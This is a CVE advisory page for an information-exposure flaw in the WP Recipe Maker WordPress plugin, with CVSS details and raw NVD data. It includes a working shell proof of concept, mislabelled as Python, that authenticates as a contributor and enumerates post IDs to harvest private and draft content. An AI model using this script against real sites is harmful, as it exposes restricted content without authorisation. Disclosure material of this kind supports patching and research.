Security Vulnerability Report
中文
CVE-2025-15527 CVSS 4.3 MEDIUM

CVE-2025-15527

Published: 2026-01-16 05:16:14
Last Modified: 2026-04-15 00:35:42

Description

The WP Recipe Maker plugin for WordPress is vulnerable to Information Exposure in versions up to, and including, 10.2.2 via the api_get_post_summary function due to insufficient restrictions on which posts can be retrieved. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from posts they may not be able to edit or read otherwise. This also affects password protected, private, or draft posts that they should not have access to.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WP Recipe Maker <= 10.2.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-15527 PoC - WP Recipe Maker Information Disclosure # Requirements: Contributor+ level WordPress account WP_URL="http://target-wordpress-site.com" USERNAME="attacker_username" PASSWORD="attacker_password" TARGET_POST_ID=1 # Step 1: Authenticate and get nonces/cookies echo "[+] Obtaining authentication cookie..." COOKIE_JAR=$(mktemp) LOGIN_RESP=$(curl -s -c "$COOKIE_JAR" -b "$COOKIE_JAR" \ -X POST "$WP_URL/wp-login.php" \ -d "log=$USERNAME&pwd=$PASSWORD&wp-submit=Log+In&redirect_to=/wp-admin/" \ -L) # Step 2: Get REST API nonce from admin page echo "[+] Extracting REST API nonce..." ADMIN_PAGE=$(curl -s -b "$COOKIE_JAR" "$WP_URL/wp-admin/admin.php?page=wprm_recipes") API_NONCE=$(echo "$ADMIN_PAGE" | grep -oP 'wpApiSettings.*?nonce.*?"([a-zA-Z0-9]+)"' | head -1) # Step 3: Exploit the vulnerability - retrieve unauthorized post summary echo "[+] Exploiting CVE-2025-15527..." echo "[+] Target Post ID: $TARGET_POST_ID" EXPLOIT_RESP=$(curl -s -b "$COOKIE_JAR" \ "$WP_URL/wp-json/wprm/v1/post_summary?post_id=$TARGET_POST_ID" \ -H "X-WP-Nonce: $API_NONCE" \ -H "Content-Type: application/json") echo "[+] Response:" echo "$EXPLOIT_RESP" | python3 -m json.tool 2>/dev/null || echo "$EXPLOIT_RESP" # Step 4: Batch enumeration (example for posts 1-100) echo "[+] Starting batch enumeration..." for post_id in {1..100}; do RESP=$(curl -s -b "$COOKIE_JAR" \ "$WP_URL/wp-json/wprm/v1/post_summary?post_id=$post_id" \ -H "X-WP-Nonce: $API_NONCE" 2>/dev/null) if echo "$RESP" | grep -q '"content"'; then echo "[+] Post ID $post_id - Information accessible!" # Extract and log sensitive content echo "$RESP" >> cve_2025_15527_results.txt fi done rm -f "$COOKIE_JAR" echo "[+] Exploitation complete. Check cve_2025_15527_results.txt for leaked data."

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-15527", "sourceIdentifier": "[email protected]", "published": "2026-01-16T05:16:13.517", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Recipe Maker plugin for WordPress is vulnerable to Information Exposure in versions up to, and including, 10.2.2 via the api_get_post_summary function due to insufficient restrictions on which posts can be retrieved. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract data from posts they may not be able to edit or read otherwise. This also affects password protected, private, or draft posts that they should not have access to."}, {"lang": "es", "value": "El plugin WP Recipe Maker para WordPress es vulnerable a la Exposición de Información en versiones hasta la 10.2.2, inclusive, a través de la función api_get_post_summary debido a restricciones insuficientes sobre qué publicaciones pueden ser recuperadas. Esto hace posible que atacantes autenticados, con acceso de nivel Colaborador y superior, extraigan datos de publicaciones que de otro modo no podrían editar o leer. Esto también afecta a publicaciones protegidas con contraseña, privadas o en borrador a las que no deberían tener acceso."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-recipe-maker/trunk/includes/public/api/class-wprm-api-utilities.php#L172", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-recipe-maker/trunk/includes/public/api/class-wprm-api-utilities.php#L48", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-recipe-maker/trunk/includes/public/api/class-wprm-api-utilities.php#L86", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3415263/wp-recipe-maker/trunk/includes/public/api/class-wprm-api-utilities.php?contextall=1&old=3402554&old_path=%2Fwp-recipe-maker%2Ftrunk%2Fincludes%2Fpublic%2Fapi%2Fclass-wprm-api-utilities.php", "source": "[email protected]"}, {"url": "https://research.cleantalk.org/cve-2025-15527/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/96f77fdc-4e91-43c0-8bc6-7bb202945c7d?source=cve", "source": "[email protected]"}]}}